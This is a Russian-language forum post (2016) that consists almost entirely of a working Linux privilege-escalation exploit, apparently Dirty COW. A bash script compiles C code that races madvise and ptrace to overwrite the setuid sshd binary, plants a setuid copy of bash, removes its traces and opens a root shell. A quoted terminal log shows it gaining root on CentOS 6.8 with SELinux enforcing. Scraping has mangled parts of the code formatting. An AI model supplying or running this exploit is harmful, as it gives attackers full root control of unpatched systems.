Показать сообщение отдельно
Старый 26.10.2016, 15:01   #14
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

PHP код:
#!/bin/bash
if [ ! -"/tmp/sshd.bak" ]
 
then cp /usr/sbin/sshd /tmp/sshd.bak
fi
cat 
<<EOF cow.c
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
char suid_binary[] = "/usr/sbin/sshd";
unsigned char shell_code[] = "#!/tmp/x\n";
unsigned int sc_len 9;
void *madviseThread(void *arg) {
  
int i,c=0;
  for(
i=0;i<200000;i++)
    
c+=madvise(map,100,MADV_DONTNEED);
}
int main(int argc,char *argv[]){
  
f=open(suid_binary,O_RDONLY);
  
fstat(f,&st);
  
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  
pid=fork();
  if(
pid){
    
waitpid(pid,NULL,0);
    
int i,o,c=0,l=sc_len;
    for(
i=0;i<100000;i++)
      for(
o=0;o<l;o++)
          
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
   }
  else{
    
pthread_create(&pth,
                   
NULL,
                   
madviseThread,
                   
NULL);
    
ptrace(PTRACE_TRACEME);
    
kill(getpid(),SIGSTOP);
    
pthread_join(pth,NULL);
    }
  return 
0;
}
EOF
gcc 
-lpthread -./cow ./cow.c
cat 
<<EOF >/tmp/x
#!/bin/bash
/bin/cp /bin/bash /tmp/sbash
/bin/chmod 4755 /tmp/sbash
EOF
chmod 
+/tmp/x
./cow &
echo 
'trying...'
sleep 2
while true
 
do 
  echo > /
dev/tcp/0/22
  
if [ -"/tmp/sbash" ]
    
then killall -9 cow
    rm 
-/tmp/x cow cow.c
    
/tmp/sbash --'rm -f /usr/sbin/sshd; cp /tmp/sshd.bak /usr/sbin/sshd;chown 0:0 /usr/sbin/sshd;chmod +x /usr/sbin/sshd;id'
    
/tmp/sbash -p
    
exit
  else 
#    echo 'trying...'
    
killall -9 cow
    
./cow &
    
sleep 0.2
  fi
 done 
Цитата:
[exp@localhost ~]$ cat /etc/issue
CentOS release 6.8 (Final)
Kernel \r on an \m

[exp@localhost ~]$ sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
[exp@localhost ~]$ ./exp
trying...
trying...
trying...
trying...
uid=502(exp) gid=502(exp) euid=0(root) groups=502(exp) context=unconfined_u:unconfined_r:unconfined_t:s0
sbash-4.1#

Последний раз редактировалось tex; 27.10.2016 в 21:16..
tex вне форума   Ответить с цитированием